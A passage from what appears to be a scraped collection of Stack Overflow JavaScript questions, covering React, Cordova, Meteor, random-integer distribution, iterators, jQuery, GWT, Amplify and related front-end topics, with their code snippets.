Wrapper/ > ? ' ) } , render ( ) { return < h1 > Hello World < /h1 > } } ) var Wrapper = ( Home ) = > { return React.createClass ( { render ( ) { return < Home { ... this.props } / > } } ) } var HomeWrapped = Wrapper ( Home ) ReactDOM.render ( < HomeWrapped/ > , document.getElementById ( 'root ' ) )",React Higher Order Component - call function in the wrapped component from the wrapper component "JS : I 'm building a test chat app client with node.js , socket.io and cordova.Executing cordova run browser browser opens to http : //localhost:8000.In index.js of my cordova chat client app i got code to connect to my server side socket.io : Problem is that i receive this kind of error : So as you can see there is a port ( 8000 ) added to the link . This problem is not occuring when I run app on android device ( cordova run android ) .Why cordova is adding port to external links ? Can disable port adding to external links on cordova run browser ? var socket = io.connect ( 'https : //node-socket.io-address/ ' ) ; socket.on ( 'connect ' , function ( ) { ... ... ... ... .",Cordova adding port to external links on cordova run browser "JS : For my understanding the unary ! operator performs implicit type conversions , and are sometimes used for type conversion.So basically the ! operator converts its operand to a boolean and negates it.Now : In fact : So I am assuming both ! ! x and Boolean ( x ) perform the same action.I would like to know : Do you know any caveats making my assumptions wrong ? Which way should be preferred in term of good practice ? Do you know any differences to be aware among different ECMAScript versions or Browser vendors ? ! ! x // Same as Boolean ( x ) ! ! 'true ' === Boolean ( 'true ' ) // true","Considering best practices , can we use double unary operator ! in JavaScript ?" "JS : I have no idea what 's going wrong in my app . I 'm trying to update a user profile . If a user has already a profile , it should display the current values of the profile . I have a SimpleSchema attached to the user collection . I have a template helper : I have an Autoform hookHave the following route : and finally the following publication : And here is the collection : I 'm sure the user object is passed in the publication . I ca n't update the profile : getting the following error ( from Autoform debug ) : How to go about updating a profile , staring blind ... . < template name= '' updateCustomerProfile '' > < div class= '' container '' > < h1 > Edit User < /h1 > { { # if isReady 'updateCustomerProfile ' } } { { # autoForm collection= '' Users '' doc=getUsers id= '' profileForm '' type= '' update '' } } < fieldset > { { > afQuickField name='username ' } } { { > afObjectField name='profile ' } } < /fieldset > < button type= '' submit '' class= '' btn btn-primary '' > Update User < /button > < a class= '' btn btn-link '' role= '' button '' href= '' { { pathFor 'adminDocuments ' } } '' > Back < /a > { { /autoForm } } { { else } } Nothing { { /if } } < /div > < /template > Template.updateCustomerProfile.events ( { getUsers : function ( ) { //return Users.findOne ( ) ; return Meteor.user ( ) ; } } ) ; AutoForm.addHooks ( [ 'profileForm ' ] , { before : { insert : function ( error , result ) { if ( error ) { console.log ( `` Insert Error : '' , error ) ; AutoForm.debug ( ) ; } else { console.log ( `` Insert Result : '' , result ) ; AutoForm.debug ( ) ; } } , update : function ( error ) { if ( error ) { console.log ( `` Update Error : '' , error ) ; AutoForm.debug ( ) ; } else { console.log ( `` Updated ! `` ) ; console.log ( 'AutoForm.debug ( ) ' ) ; } } } } ) ; customerRoutes.route ( '/profile/edit ' , { name : `` updateCustomerProfile '' , subscriptions : function ( params , queryParams ) { this.register ( 'updateCustomerProfile ' , Meteor.subscribe ( 'usersAllforCustomer ' , Meteor.userId ( ) ) ) ; } , action : function ( params , queryParams ) { BlazeLayout.render ( 'layout_frontend ' , { top : 'menu ' , main : 'updateCustomerProfile ' , footer : 'footer ' } ) ; } } ) ; Meteor.publish ( 'usersAllforCustomer ' , function ( userId ) { check ( userId , String ) ; var user = Users.findOne ( { _id : userId } ) ; if ( Roles.userIsInRole ( this.userId , 'customer ' ) ) { return Users.find ( { _id : userId } ) ; } } ) ; Users = Meteor.users ; Schema = { } ; Schema.UserProfile = new SimpleSchema ( { firstName : { type : String , optional : true } , lastName : { type : String , optional : true } , gender : { type : String , allowedValues : [ 'Male ' , 'Female ' ] , optional : true } , organization : { type : String , optional : true } } ) ; Schema.User = new SimpleSchema ( { username : { type : String , optional : true } , emails : { type : Array , optional : true } , `` emails. $ '' : { type : Object } , `` emails. $ .address '' : { type : String , regEx : SimpleSchema.RegEx.Email } , `` emails. $ .verified '' : { type : Boolean } , createdAt : { type : Date , optional : true , denyUpdate : true , autoValue : function ( ) { if ( this.isInsert ) { return new Date ( ) ; } } } , profile : { type : Schema.UserProfile , optional : true } , services : { type : Object , optional : true , blackbox : true } , roles : { type : [ String ] , optional : true } } ) ; Meteor.users.attachSchema ( Schema.User ) ; Update Error : Object { $ set : Object } $ set : Object profile.firstName : `` test_firstname '' profile.gender : `` Female '' profile.lastName : `` test_lastname '' profile.organization : `` test_organisation `` username : `` test_username ''",Meteor update user profile "JS : Requirements and backgroundI want a generic randomInt function that can handle a range of values upto and including Number.MIN_SAFE_INTEGER to Number.MAX_SAFE_INTEGER and that the values returned are uniformly distributed.So , I started at MDN and looked at the Math.random page . They give an example , which appears to be uniformly distributed.But it comes with the following note . Note that as numbers in JavaScript are IEEE 754 floating point numbers with round-to-nearest-even behavior , the ranges claimed for the functions below ( excluding the one for Math.random ( ) itself ) are n't exact . If extremely large bounds are chosen ( 2^53 or higher ) , it 's possible in extremely rare cases to calculate the usually-excluded upper bound.I 'm wanting to use the range - ( 2^53 - 1 ) and 2^53 - 1 , so I believe that this note does not apply . I then notice max - min : this is going to be a problem for the larger ranges that I have specified : Example - max rangeSolution 1 - not a solutionOff I go and have a little play and come up with the following code , based on the MDN example and my requirements.But as you can see , this is going to throw an error well before the larger ranges that I require.Solution 2 - solves the math issue but seems to break uniformitySo I have a fiddle and come up with the following.While we no longer throw an error and the math appears to be within the max safe integer values , I am not sure exactly how this has effected the uniform distribution of the original MDN example ( if it was uniformly distributed ) ? My testing seems to suggest that this breaks the uniform distribution.Graph of distributionSolution 3 - not a solutionSo on I press and take a look creating Box-Muller Transform function for creating the random normally distributed range that I thought I required ( but my mistake I wanted uniformly distributed ) . I did some reading and chose rejection sampling as the method to generate observations from a distribution . Found out how to calculate the deviation for a range without having to use Math.sqrt : If the value of x is negative , Math.sqrt ( ) returns NaNThis is what I came up with.Not sure that I have done everything correctly ( have n't broken the normal distribution ) , but on small integer ranges I am seeing the correct range of random integers generated.But there is still a problem when I use the maximum limits of the range ( or actually before those limits ) . The math still goes outside of the Number.MAX_SAFE_INTEGER value . Output from above console.log ( tmp ) ; As you can see the calculated variance is not safe . This algorithm can be ignored due to my confusion in distribution types.Graph of distributionI 've included this so that you can see that I was actually quite close to having this work as a normal distribution , even though this is not what I actually required . It may aid someone that is looking to perform this kind of distribution.What is or is there a solution ? So , what am I missing ? Is there some simple method that I have overlooked ? Must I use a big number library as a solution ? How to test the distribution : I have some graphs that I 'm plotting , which is fine for a small range but the larger ranges are just not possible ? Please put me out of my misery on this one . : ) // Returns a random integer between min ( included ) and max ( excluded ) // Using Math.round ( ) will give you a non-uniform distribution ! function getRandomInt ( min , max ) { return Math.floor ( Math.random ( ) * ( max - min ) ) + min ; } Number.MAX_SAFE_INTEGER - Number.MIN_SAFE_INTEGER > Number.MAX_SAFE_INTEGER Number.MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || 9007199254740991 ; Number.MIN_SAFE_INTEGER = Number.MIN_SAFE_INTEGER || -Number.MAX_SAFE_INTEGER ; Number.toInteger = Number.toInteger || function ( inputArg ) { var number = +inputArg , val = 0 ; if ( number === number ) { if ( ! number || number === Infinity || number === -Infinity ) { val = number ; } else { val = ( number > 0 || -1 ) * Math.floor ( Math.abs ( number ) ) ; } } return val ; } ; function clampSafeInt ( number ) { return Math.min ( Math.max ( Number.toInteger ( number ) , Number.MIN_SAFE_INTEGER ) , Number.MAX_SAFE_INTEGER ) ; } // Returns a random integer between min ( included ) and max ( included ) // Using Math.round ( ) will give you a non-uniform distribution ! function randomInt ( min , max ) { var tmp , val ; if ( arguments.length === 1 ) { max = min ; min = 0 ; } min = clampSafeInt ( min ) ; max = clampSafeInt ( max ) ; if ( min > max ) { tmp = min ; min = max ; max = tmp ; } tmp = max - min + 1 ; if ( tmp > Number.MAX_SAFE_INTEGER ) { throw new RangeError ( 'Difference of max and min is greater than Number.MAX_SAFE_INTEGER : ' + tmp ) ; } else { val = Math.floor ( Math.random ( ) * tmp ) + min ; } return val ; } console.log ( randomInt ( Number.MIN_SAFE_INTEGER , Number.MAX_SAFE_INTEGER ) ) ; Number.MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || 9007199254740991 ; Number.MIN_SAFE_INTEGER = Number.MIN_SAFE_INTEGER || -Number.MAX_SAFE_INTEGER ; Number.toInteger = Number.toInteger || function ( inputArg ) { var number = +inputArg , val = 0 ; if ( number === number ) { if ( ! number || number === Infinity || number === -Infinity ) { val = number ; } else { val = ( number > 0 || -1 ) * Math.floor ( Math.abs ( number ) ) ; } } return val ; } ; function clampSafeInt ( number ) { return Math.min ( Math.max ( Number.toInteger ( number ) , Number.MIN_SAFE_INTEGER ) , Number.MAX_SAFE_INTEGER ) ; } // Returns a random integer between min ( included ) and max ( included ) // Using Math.round ( ) will give you a non-uniform distribution ! function randomInt ( min , max ) { var tmp , val ; if ( arguments.length === 1 ) { max = min ; min = 0 ; } min = clampSafeInt ( min ) ; max = clampSafeInt ( max ) ; if ( min > max ) { tmp = min ; min = max ; max = tmp ; } tmp = max - min + 1 ; if ( tmp > Number.MAX_SAFE_INTEGER ) { if ( Math.floor ( Math.random ( ) * 2 ) ) { val = Math.floor ( Math.random ( ) * ( max - 0 + 1 ) ) + 0 ; } else { val = Math.floor ( Math.random ( ) * ( 0 - min + 1 ) ) + min ; } } else { val = Math.floor ( Math.random ( ) * tmp ) + min ; } return val ; } console.log ( randomInt ( Number.MIN_SAFE_INTEGER , Number.MAX_SAFE_INTEGER ) ) ; function getData ( ) { var x = { } , c = 1000000 , min = -20 , max = 20 , q , i ; for ( i = 0 ; i < c ; i += 1 ) { if ( Math.floor ( Math.random ( ) * 2 ) ) { q = Math.floor ( Math.random ( ) * ( max - 0 + 1 ) ) + 0 ; } else { q = Math.floor ( Math.random ( ) * ( 1 - min + 1 ) ) + min ; } if ( ! x [ q ] ) { x [ q ] = 1 ; } else { x [ q ] += 1 ; } } ; return Object.keys ( x ) .sort ( function ( x , y ) { return x - y ; } ) .map ( function ( key , index ) { return { ' q ' : +key , ' p ' : ( x [ key ] / c ) * 100 } ; } ) ; } var data = getData ( ) , margin = { top : 20 , right : 20 , bottom : 30 , left : 50 } , width = 960 - margin.left - margin.right , height = 500 - margin.top - margin.bottom , x = d3.scale.linear ( ) .range ( [ 0 , width ] ) , y = d3.scale.linear ( ) .range ( [ height , 0 ] ) , xAxis = d3.svg.axis ( ) .scale ( x ) .orient ( `` bottom '' ) , yAxis = d3.svg.axis ( ) .scale ( y ) .orient ( `` left '' ) , line = d3.svg.line ( ) .x ( function ( d ) { return x ( d.q ) ; } ) .y ( function ( d ) { return y ( d.p ) ; } ) , svg = d3.select ( `` body '' ) .append ( `` svg '' ) .attr ( `` width '' , width + margin.left + margin.right ) .attr ( `` height '' , height + margin.top + margin.bottom ) .append ( `` g '' ) .attr ( `` transform '' , `` translate ( `` + margin.left + `` , '' + margin.top + `` ) '' ) ; x.domain ( d3.extent ( data , function ( d ) { return d.q ; } ) ) ; y.domain ( d3.extent ( data , function ( d ) { return d.p ; } ) ) ; svg.append ( `` g '' ) .attr ( `` class '' , `` x axis '' ) .attr ( `` transform '' , `` translate ( 0 , '' + height + `` ) '' ) .call ( xAxis ) ; svg.append ( `` g '' ) .attr ( `` class '' , `` y axis '' ) .call ( yAxis ) ; svg.append ( `` path '' ) .datum ( data ) .attr ( `` class '' , `` line '' ) .attr ( `` d '' , line ) ; body { font : 10px sans-serif ; } .axis path , .axis line { fill : none ; stroke : # 000 ; shape-rendering : crispEdges ; } .line { fill : none ; stroke : steelblue ; stroke-width : 1.5px ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/d3/3.4.11/d3.min.js '' > < /script > Number.MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || 9007199254740991 ; Number.MIN_SAFE_INTEGER = Number.MIN_SAFE_INTEGER || -Number.MAX_SAFE_INTEGER ; Number.toInteger = Number.toInteger || function ( inputArg ) { var number = +inputArg , val = 0 ; if ( number === number ) { if ( ! number || number === Infinity || number === -Infinity ) { val = number ; } else { val = ( number > 0 || -1 ) * Math.floor ( Math.abs ( number ) ) ; } } return val ; } ; function clampSafeInt ( number ) { return Math.min ( Math.max ( Number.toInteger ( number ) , Number.MIN_SAFE_INTEGER ) , Number.MAX_SAFE_INTEGER ) ; } var boxMullerRandom = ( function ( ) { var phase = 0 , RAND_MAX , array , random , x1 , x2 , w , z ; if ( crypto & & crypto.getRandomValues ) { RAND_MAX = Math.pow ( 2 , 32 ) - 1 ; array = new Uint32Array ( 1 ) ; random = function ( ) { crypto.getRandomValues ( array ) ; return array [ 0 ] / RAND_MAX ; } ; } else { random = Math.random ; } return function ( ) { if ( ! phase ) { do { x1 = 2.0 * random ( ) - 1.0 ; x2 = 2.0 * random ( ) - 1.0 ; w = x1 * x1 + x2 * x2 ; } while ( w > = 1.0 ) ; w = Math.sqrt ( ( -2.0 * Math.log ( w ) ) / w ) ; z = x1 * w ; } else { z = x2 * w ; } phase ^= 1 ; return z ; } } ( ) ) ; function rejectionSample ( stdev , mean , from , to ) { var retVal ; do { retVal = ( boxMullerRandom ( ) * stdev ) + mean ; } while ( retVal < from || to < retVal ) ; return retVal ; } function randomInt ( min , max ) { var tmp , val ; if ( arguments.length === 1 ) { max = min ; min = 0 ; } min = clampSafeInt ( min ) ; max = clampSafeInt ( max ) ; if ( min > max ) { tmp = min ; min = max ; max = tmp ; } tmp = { } ; tmp.mean = ( min / 2 ) + ( max / 2 ) ; tmp.variance = ( Math.pow ( min - tmp.mean , 2 ) + Math.pow ( max - tmp.mean , 2 ) ) / 2 ; tmp.deviation = Math.sqrt ( tmp.variance ) ; console.log ( tmp ) ; return Math.floor ( rejectionSample ( tmp.deviation , tmp.mean , min , max + 1 ) ) ; } console.log ( randomInt ( Number.MIN_SAFE_INTEGER , Number.MAX_SAFE_INTEGER ) ) ; { mean : 0 , variance : 8.112963841460666e+31 , deviation : 9007199254740991 } Number.MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || 9007199254740991 ; Number.MIN_SAFE_INTEGER = Number.MIN_SAFE_INTEGER || -Number.MAX_SAFE_INTEGER ; Number.toInteger = Number.toInteger || function ( inputArg ) { var number = +inputArg , val = 0 ; if ( number === number ) { if ( ! number || number === Infinity || number === -Infinity ) { val = number ; } else { val = ( number > 0 || -1 ) * Math.floor ( Math.abs ( number ) ) ; } } return val ; } ; function clampSafeInt ( number ) { return Math.min ( Math.max ( Number.toInteger ( number ) , Number.MIN_SAFE_INTEGER ) , Number.MAX_SAFE_INTEGER ) ; } var boxMullerRandom = ( function ( ) { var phase = 0 , RAND_MAX , array , random , x1 , x2 , w , z ; if ( crypto & & crypto.getRandomValues ) { RAND_MAX = Math.pow ( 2 , 32 ) - 1 ; array = new Uint32Array ( 1 ) ; random = function ( ) { crypto.getRandomValues ( array ) ; return array [ 0 ] / RAND_MAX ; } ; } else { random = Math.random ; } return function ( ) { if ( ! phase ) { do { x1 = 2.0 * random ( ) - 1.0 ; x2 = 2.0 * random ( ) - 1.0 ; w = x1 * x1 + x2 * x2 ; } while ( w > = 1.0 ) ; w = Math.sqrt ( ( -2.0 * Math.log ( w ) ) / w ) ; z = x1 * w ; } else { z = x2 * w ; } phase ^= 1 ; return z ; } } ( ) ) ; function rejectionSample ( stdev , mean , from , to ) { var retVal ; do { retVal = ( boxMullerRandom ( ) * stdev ) + mean ; } while ( retVal < from || to < retVal ) ; return retVal ; } function randomInt ( min , max ) { var tmp , val ; if ( arguments.length === 1 ) { max = min ; min = 0 ; } min = clampSafeInt ( min ) ; max = clampSafeInt ( max ) ; if ( min > max ) { tmp = min ; min = max ; max = tmp ; } tmp = { } ; tmp.mean = ( min / 2 ) + ( max / 2 ) ; tmp.variance = ( Math.pow ( min - tmp.mean , 2 ) + Math.pow ( max - tmp.mean , 2 ) ) / 2 ; tmp.deviation = Math.sqrt ( tmp.variance ) ; return Math.floor ( rejectionSample ( tmp.deviation , tmp.mean , min , max + 1 ) ) ; } function getData ( ) { var x = { } , c = 1000000 , q , i ; for ( i = 0 ; i < c ; i += 1 ) { q = randomInt ( -9 , 3 ) ; if ( ! x [ q ] ) { x [ q ] = 1 ; } else { x [ q ] += 1 ; } } ; return Object.keys ( x ) .sort ( function ( x , y ) { return x - y ; } ) .map ( function ( key ) { return { ' q ' : +key , ' p ' : x [ key ] / c } ; } ) ; } var data = getData ( ) , margin = { top : 20 , right : 20 , bottom : 30 , left : 50 } , width = 960 - margin.left - margin.right , height = 500 - margin.top - margin.bottom , x = d3.scale.linear ( ) .range ( [ 0 , width ] ) , y = d3.scale.linear ( ) .range ( [ height , 0 ] ) , xAxis = d3.svg.axis ( ) .scale ( x ) .orient ( `` bottom '' ) , yAxis = d3.svg.axis ( ) .scale ( y ) .orient ( `` left '' ) , line = d3.svg.line ( ) .x ( function ( d ) { return x ( d.q ) ; } ) .y ( function ( d ) { return y ( d.p ) ; } ) , svg = d3.select ( `` body '' ) .append ( `` svg '' ) .attr ( `` width '' , width + margin.left + margin.right ) .attr ( `` height '' , height + margin.top + margin.bottom ) .append ( `` g '' ) .attr ( `` transform '' , `` translate ( `` + margin.left + `` , '' + margin.top + `` ) '' ) ; x.domain ( d3.extent ( data , function ( d ) { return d.q ; } ) ) ; y.domain ( d3.extent ( data , function ( d ) { return d.p ; } ) ) ; svg.append ( `` g '' ) .attr ( `` class '' , `` x axis '' ) .attr ( `` transform '' , `` translate ( 0 , '' + height + `` ) '' ) .call ( xAxis ) ; svg.append ( `` g '' ) .attr ( `` class '' , `` y axis '' ) .call ( yAxis ) ; svg.append ( `` path '' ) .datum ( data ) .attr ( `` class '' , `` line '' ) .attr ( `` d '' , line ) ; body { font : 10px sans-serif ; } .axis path , .axis line { fill : none ; stroke : # 000 ; shape-rendering : crispEdges ; } .line { fill : none ; stroke : steelblue ; stroke-width : 1.5px ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/d3/3.4.11/d3.min.js '' > < /script >",randomInt function that can uniformly handle the full range of MIN and MAX_SAFE_INTEGER "JS : Help ! I 'm learning to love Javascript after programming in C # for quite a while but I 'm stuck learning to love the iterable protocol ! Why did Javascript adopt a protocol that requires creating a new object for each iteration ? Why have next ( ) return a new object with properties done and value instead of adopting a protocol like C # IEnumerable and IEnumerator which allocates no object at the expense of requiring two calls ( one to moveNext to see if the iteration is done , and a second to current to get the value ) ? Are there under-the-hood optimizations that skip the allocation of the object return by next ( ) ? Hard to imagine given the iterable does n't know how the object could be used once returned ... Generators do n't seem to reuse the next object as illustrated below : Hm , here 's a clue ( thanks to Bergi ! ) : We will answer one important question later ( in Sect . 3.2 ) : Why can iterators ( optionally ) return a value after the last element ? That capability is the reason for elements being wrapped . Otherwise , iterators could simply return a publicly defined sentinel ( stop value ) after the last element.And in Sect . 3.2 they discuss using Using generators as lightweight threads . Seems to say the reason for return an object from next is so that a value can be returned even when done is true ! Whoa . Furthermore , generators can return values in addition to yield and yield*-ing values and a value generated by return ends up as in value when done is true ! And all this allows for pseudo-threading . And that feature , pseudo-threading , is worth allocating a new object for each time around the loop ... Javascript . Always so unexpected ! Although , now that I think about it , allowing yield* to `` return '' a value to enable a pseudo-threading still does n't justify returning an object . The IEnumerator protocol could be extended to return an object after moveNext ( ) returns false -- just add a property hasCurrent to test after the iteration is complete that when true indicates current has a valid value ... And the compiler optimizations are non-trivial . This will result in quite wild variance in the performance of an iterator ... does n't that cause problems for library implementors ? All these points are raised in this thread discovered by the friendly SO community . Yet , those arguments did n't seem to hold the day.However , regardless of returning an object or not , no one is going to be checking for a value after iteration is `` complete '' , right ? E.g . most everyone would think the following would log all values returned by an iterator : Except it does n't because even though done is false the iterator might still have returned another value . Consider : Is an iterator that returns a value after its `` done '' is really an iterator ? What is the sound of one hand clapping ? It just seems quite odd ... And here is in depth post on generators I enjoyed . Much time is spent controlling the flow of an application as opposed to iterating members of a collection . Another possible explanation is that IEnumerable/IEnumerator requires two interfaces and three methods and the JS community preferred the simplicity of a single method . That way they would n't have to introduce the notion of groups of symbolic methods aka interfaces ... function* generator ( ) { yield 0 ; yield 1 ; } var iterator = generator ( ) ; var result0 = iterator.next ( ) ; var result1 = iterator.next ( ) ; console.log ( result0.value ) // 0console.log ( result1.value ) // 1 function logIteratorValues ( iterator ) { var next ; while ( next = iterator.next ( ) , ! next.done ) console.log ( next.value ) } function* generator ( ) { yield 0 ; return 1 ; } var iterator = generator ( ) ; var result0 = iterator.next ( ) ; var result1 = iterator.next ( ) ; console.log ( ` $ { result0.value } , $ { result0.done } ` ) // 0 , falseconsole.log ( ` $ { result1.value } , $ { result1.done } ` ) // 1 , true",Why does Javascript ` iterator.next ( ) ` return an object ? "JS : I am using the measurement protocol for my Tizen TV application since I can not use the JS ( requires a domain name ) nor Android/iOS SDKs . I am sendingTo https : //www.google-analytics.com/collectBut the screen times seem off its always in the seconds eg . 30s etc . I tested staying on page for a long time but it does not seem correctly reflected . I guess its because I only send this hit once and theres no way for Google to know when it stopped ? Is there a way to fix this ? { v : 1 , tid : GA_TRACKING_ID , cid : data.deviceId , t : 'screenview ' , dh : 'something.com ' , dp : encodeURIComponent ( $ location.path ( ) ) , cd : transition.to ( ) .title + ( $ stateParams.gaTitle ? ' ( ' + $ stateParams.gaTitle + ' ) ' : `` ) || 'Unknown ' , an : 'XXX ' , 'ga : mobileDeviceModel ' : data.deviceModel }",Google Analytics Screen Time Incorrect when using Measurement Protocol "JS : To reproduce the issue , use the fiddle at [ 1 ] and follow these steps : Click on text boxInput some value in itAfter value input , click of the `` click me '' button . Please Note , do n't click anywhere else on the browserYou would see the `` button click '' event not getting triggered.The HTML code looks like this , The JavaScript code for the same is : The issue is reproducible in `` Chrome '' and `` firefox '' . Is this a know bug in `` Chrome '' or anyone who have faced any similar issue ? Ideally , the click event on button has to be triggered but somehow it does n't ? I am not able to understand the cause or a possible fix.I do n't want to use the setTimeout ( ) to defer the `` blur '' event execution [ 1 ] https : //jsfiddle.net/cg1j70vb/1/ < div class= '' wrapper '' > < input type= '' text '' id= '' input '' / > < div class= '' error '' > There is an error < /div > < /div > < button type= '' button '' id= '' button '' > Click Me < /button > < div id= '' log '' > Logs < /div > $ ( function ( ) { $ ( `` input , button '' ) .on ( `` click focus blur mousedown mouseup '' , function ( e ) { $ ( `` # log '' ) .append ( $ ( `` < div/ > '' ) .html ( e.target.id + `` `` + e.type ) ) var self = this if ( self.id === `` input '' & & e.type== '' blur '' ) { $ ( self ) .trigger ( `` exit '' ) } } ) $ ( `` .wrapper '' ) .on ( `` exit '' , function ( ) { $ ( this ) .find ( `` .error '' ) .hide ( ) $ ( this ) .find ( `` .error '' ) .text ( `` '' ) } ) } )",`` Click '' event not getting triggered due to `` blur '' JS : I 'm trying to increase my understanding of jQuery . Please consider the following code.How does this work ? It looks simple enough until you understand that $ ( ) returns a collection of elements . So what does the code above do exactly ? How does it make sense to compare the value of the data-id attribute for a collection of elements like this ? ( I understand I can use each ( ) to explicitly test each element in the collection . My question is about what the code above does . ) if ( $ ( '.myClass ' ) .data ( 'id ' ) == '123 ' ) { },Working with jQuery Collections "JS : I am building a Node.js application using object oriented coffeescript.I have a super class with a static method like : There is a subclass likeWhen I call find ( ) on the User class I want it to pass a instance of User instead of RedisObject to the callback function.I tried to realize this by getting the class name of the actual class the method is called on by usingand use eval ( ) to generate an instance from it - but the problem is that the subclass will be undefined from within the superclass.How can I realize the behaviour of getting different types of instances returned by the find method depending on which class it is called on , without having to override it in each subclass ? class RedisObject @ find : ( id , cb ) - > client.HGETALL `` # { @ className ( ) } | # { id } '' , ( err , obj ) = > unless err cb ( new RedisObject ( obj , false ) ) class User extends RedisObject @ constructor.name",Coffeescript : dynamically create instance of the class a method is called on JS : I have Object that I wish to pass from JavaScript to Java in GWT app.This object may have arbitary fields . So it is different from very similar question were only number is passed . Passing javascript parameter from external javascript to javaI define callback like But I do not know how to convert JavaScriptObject to JSONObjectCould you also advice on $ entry ( ) function format if I wish to pass Object to java public static void cbSysInfoSucces ( JavaScriptObject o1 ) { },GWT object parameter from javascript to java ( JavaScriptObject to JSONObject ) "JS : How can I set up a table so that the last n columns use the available width of a table equally ? In detail : I 'm generating a HTML table in the backend ( ASP.NET MVC ) that has two header columns and a varying number of data columns : The table has a width=100 % , the first and second column ( ID and Region ) use fixed widths.The content of the data columns ( esp . the headers ) can be strings of different length.How can I setup the CSS/JS so that the remaining columns are sized equally wide - and use the full remaining width of the table ? My first thought was to simply set style= '' @ ( 100/NumberOfColumns ) % ; '' on the server . However , as the first two columns are fixed width and I do not know the size of the table on the server side , this approach fails . ID Region Data col 1 Data col 2 ... Data col n_______________________________________________________ 1 Region name 1 data data data 2 Region 2 data data data ... 80 Another region data data data",Use remaining space equally for n-columns "JS : A bit of an architectural question ... I originally created a Javascript singleton to house methods needed to operate a photo gallery module in a template file for a CMS system . The original specification only called for one instance of this photo gallery module on a page . ( The code below is a gross simplification of what I actually wrote . ) Shortly after releasing the code , it dawned on me that even though the specification called for one instance of this module , this code would fall apart if a page had two instances of the module ( i.e . the user adds two photo galleries to a page via the CMS ) . Now , the HTML markup is safe , because I used class names , but how would I go about restructuring my Javascript and jQuery event listeners to be able to handle multiple modules ? You may assume that each photo gallery has its own JSON-P file ( or you may assume a single JSON-P file if you think it can be handled more elegantly with one JSON-P file ) .I think my original jQuery event listeners might have to be converted to $ .delegate ( ) , but I have no clue what to do after that and what to do about converting my singleton . Any leads would be appreciated . If you offer code , I prefer readability over optimization . I 'm not asking this question , because I have an immediate need to solve the problem for work . I am asking this question to be forward-thinking and to be a better Javascript developer , because I am expecting to run into this problem in the future and want to be prepared.Thank you for reading.HTMLThe Javascript is an external static file and makes a call to a JSON-P file via $ .getSCript ( ) , created by the CMS.Javascript/jQueryContents of photo-gallery.json < div class= '' photoGalleryMod '' > < div class= '' photoGalleryImgBox '' > < img src= '' http : //www.test.org/i/intro.jpg '' alt= '' Intro Photo '' / > < /div > < div class= '' photoGalleryImgCap '' > < p > Caption < /p > < /div > < a href= '' # '' class= '' photoGalleryPrevImgLnk '' > < /a > < a href= '' # '' class= '' photoGalleryNextImgLnk '' > < /a > < /div > ( function ( $ ) { photoGalleryModule = { json : `` , numSlidesInJson : `` , currentSlide : `` , updateSlide : function ( arg_slidNum ) { /* Update the slide here */ } , init : function ( arg_jsonObj ) { this.json = arg_jsonObj ; this.numSlidesInJson = this.json.photoGallerySlides.length ; this.currentSlide = 0 ; } } ; $ ( document ) .ready ( function ( ) { $ .getScript ( './photogallery.json ' ) ; $ ( '.photoGalleryPrevImgLnk ' ) .live ( 'click ' , function ( event ) { photoGalleryModule.currentSlide = photoGalleryModule.currentSlide - 1 ; photoGalleryModule.updateSlide ( photoGalleryModule.currentSlide ) ; event.preventDefault ( ) ; } ) ; $ ( '.photoGalleryNextImgLnk ' ) .live ( 'click ' , function ( event ) { photoGalleryModule.currentSlide = photoGalleryModule.currentSlide + 1 ; photoGalleryModule.updateSlide ( photoGalleryModule.currentSlide ) ; event.preventDefault ( ) ; } ) ; } ) ; } ) ( jQuery ) ; photoGalleryModule.init ( { photoGallerySlides : [ { type : 'intro ' , pageTitle : 'Intro Photo ' , imgUrl : 'http : //www.test.org/i/intro.jpg ' , imgAltAttr : 'Intro photo ' , captionText : 'The intro photo ' , } , { type : 'normal ' , pageTitle : 'First Photo ' , imgUrl : 'http : //www.test.org/i/img1.jpg ' , imgAltAttr : 'First photo ' , captionText : 'the first photo ' , } , { type : 'normal ' , pageTitle : 'Second Photo ' , imgUrl : 'http : //www.test.org/i/img2.jpg ' , imgAltAttr : 'Second photo ' , captionText : 'the second photo ' , } ] } ) ;",How to change a Javascript singleton to something that can be used multiple times ? "JS : I am getting transliteration in the first input box . ( no problem in the first case ) So , when I clciking on Add Another I am able to have a new input box . But in that transliteration is not working.My transliteration script isSo , When click on add another , how can I able to give that input area a new transliteration id.Please help me to have a solution . < div class= '' row '' v-for= '' ( book , index ) in Subsequent '' : key= '' index '' > < div class= '' col-md-8 '' > < div class= '' form-group label-floating '' > < label class= '' control-label '' > Details < /label > < input type= '' text '' class= '' form-control '' v-model= '' book.seizuredetails '' id= '' transliterateTextarea2 '' > < /div > < /div > < /div > < a @ click= '' addNewRow '' > Add Another < /a > < /div > < script type= '' text/javascript '' > // Load the Google Transliterate API google.load ( `` elements '' , `` 1 '' , { packages : `` transliteration '' } ) ; function onLoad ( ) { var options = { sourceLanguage : google.elements.transliteration.LanguageCode.ENGLISH , destinationLanguage : [ google.elements.transliteration.LanguageCode.MALAYALAM ] , shortcutKey : 'ctrl+g ' , transliterationEnabled : true } ; // Create an instance on TransliterationControl with the required // options . var control = new google.elements.transliteration.TransliterationControl ( options ) ; // Enable transliteration in the textbox with id // 'transliterateTextarea ' . var ids = [ `` transliterateTextarea '' , `` transliterateTextarea1 '' , `` transliterateTextarea2 '' ] ; control.makeTransliteratable ( ids ) ; } google.setOnLoadCallback ( onLoad ) ; < /script >",Why transliteration in not working when I am selection the second input box ? "JS : Example code : When using oath , after the provider redirects to my app , the Hub fires a signIn event . However , the signInUserSession property is null when the event is fired , but gets a value some time later ( within 100 ms ) . This does not seem to occur when using Auth.signIn ( email , password ) directly ; signInUserSession is populated when the event is fired.What is happening here , and how can I get around it ? Currently , I have an explicit delay in the code , which is a terrible hack . Hub.listen ( 'auth ' , event = > { const { event : type , data } = event.payload ; if ( type === 'signIn ' ) { const session = data.signInUserSession ; console.log ( 'SESSION ' , data.signInUserSession ) ; setTimeout ( ( ) = > { console.log ( 'SESSION ' , data.signInUserSession ) ; } , 100 ) ; } } ) ;",Race condition in Amplify.Hub signIn handler when using oath "JS : I am currently trying to generate a report using Google charts.I am pulling information from a MYSQL DB in my node.js server side code and using socket.io to pass it to the client side in a multidimensional array which looks like the following : So I am currently looping through that 